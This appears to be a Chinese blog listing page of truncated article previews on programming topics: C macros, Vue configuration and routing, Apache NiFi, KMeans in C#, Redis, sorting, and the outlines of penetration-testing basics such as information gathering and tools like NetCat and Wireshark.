1.标识符常量和宏函数&#xff08;宏函数是简单替换所以需要把括号加到位&#xff09; #include<stdio.h>#define MAX 1000//标识符常量 #define num 10 //#define SUM(X,Y) XY //不对 #define SUM(X,Y) ((X)(Y))int max(int a, int b) {return a>b?a:b; }int main(…

系列八、vue配置请求

一、vue2配置请求转发 config/index.js proxyTable配置后端的请求地址 proxyTable: {/: {target: "http://localhost:9000", // 后端服务器地址changeOrigin: true,pathRewrite: {^/: }} }, 注意事项&#xff1a;vue2中不像大多数教程里边讲的那样&#xff0c;直接…

Apache NiFi:实时数据流处理的可视化利器【上进小菜猪大数据系列】

上进小菜猪&#xff0c;沈工大软件工程专业&#xff0c;爱好敲代码&#xff0c;持续输出干货。欢迎订阅本专栏&#xff01; Apache NiFi是一个强大的、可扩展的开源数据流处理工具&#xff0c;广泛应用于大数据领域。本文将介绍Apache NiFi的核心概念和架构&#xff0c;并提供…

路由守卫的几种方式-M

vue的路由 Vue-router是Vue.js官方的路由插件。vue的单页面应用是基于路由和组件的&#xff0c;路由用于设定访问路径&#xff0c;并将路径和组件映射起来。传统的页面应用&#xff0c;是用一些超链接来实现页面切换和跳转的。在vue-router单页面应用中&#xff0c;则是路径之…

C# | KMeans聚类算法的实现,轻松将数据点分组成具有相似特征的簇

C# KMeans聚类算法的实现 文章目录 C# KMeans聚类算法的实现前言示例代码实现思路测试结果结束语 前言 本章分享一下如何使用C#实现KMeans算法。在讲解代码前先清晰两个小问题&#xff1a; 什么是聚类? 聚类是将数据点根据其相似性分组的过程&#xff0c;它有很多的应用场景&…

章节1:信息收集

章节1:信息收集 1 信息收集概览 01 为什么要做信息收集&#xff1f; 渗透测试的流程 确定目标 信息收集 漏洞扫描 漏洞利用 形成报告 信息收集包括的内容 域名信息、IP段、开放的端口、网站架构、文件目录结构、软件版本、WAF、旁站、C段… 分类 域名相关信息IP相关…

Redis缓存数据库(四)

目录 一、概述 1、Redis Sentinel 1.1、docker配置Redis Sentinel环境 2、Redis存储方案 2.1、哈希链 2.2、哈希环 3、Redis分区(Partitioning) 4、Redis面试题 一、概述 1、Redis Sentinel Redis Sentinel为Redis提供了高可用解决方案。实际上这意味着使用Sentinel…

Java 与排序算法(1):冒泡排序

一、冒泡排序 冒泡排序&#xff08;Bubble Sort&#xff09;是一种简单的排序算法&#xff0c;它的基本思想是通过不断交换相邻两个元素的位置&#xff0c;使得较大的元素逐渐往后移动&#xff0c;直到最后一个元素为止。冒泡排序的时间复杂度为 O ( n 2 ) O(n^2) O(n2)&…

《Kali渗透基础》02. 基本工具

kali渗透 1&#xff1a;基本工具1.1&#xff1a;NetCat1.1.1&#xff1a;命令参数1.1.2&#xff1a;示例 1.2&#xff1a;NCat1.2.1&#xff1a;命令参数1.2.2&#xff1a;示例 1.3&#xff1a;WireShark1.4&#xff1a;TCPdump1.4.1&#xff1a;命令参数1.4.2&#xff1a;示例…

C语言——函数

目录 1. 函数基本用法1.1 定义和三要素1.2 函数的声明和定义1.2.1 函数声明1.2.2 函数定义格式 1.3 函数调用1.4 函数传参1.4.1 值传递1.4.2 地址传递1.4.3 数组传递 1.5 函数和栈区 2. 开辟堆空间2.1 堆的概念2.2.malloc函数2.2.1 定义2.2.2 用法 2.3 free()函数定义注意&…

随机数发生器设计(一)

1 随机数发生器设计概述 密码行业的随机数发生器总体框架标准为GM/T 0103。随机数发生器可以分为硬件随机数发生器和软件随机数发生器。 硬件随机数发生器一般以组成部件的形式集成在安全芯片的内部&#xff0c;或者随机数发生器本身就是安全芯片。考虑到随机数发生器是密码产…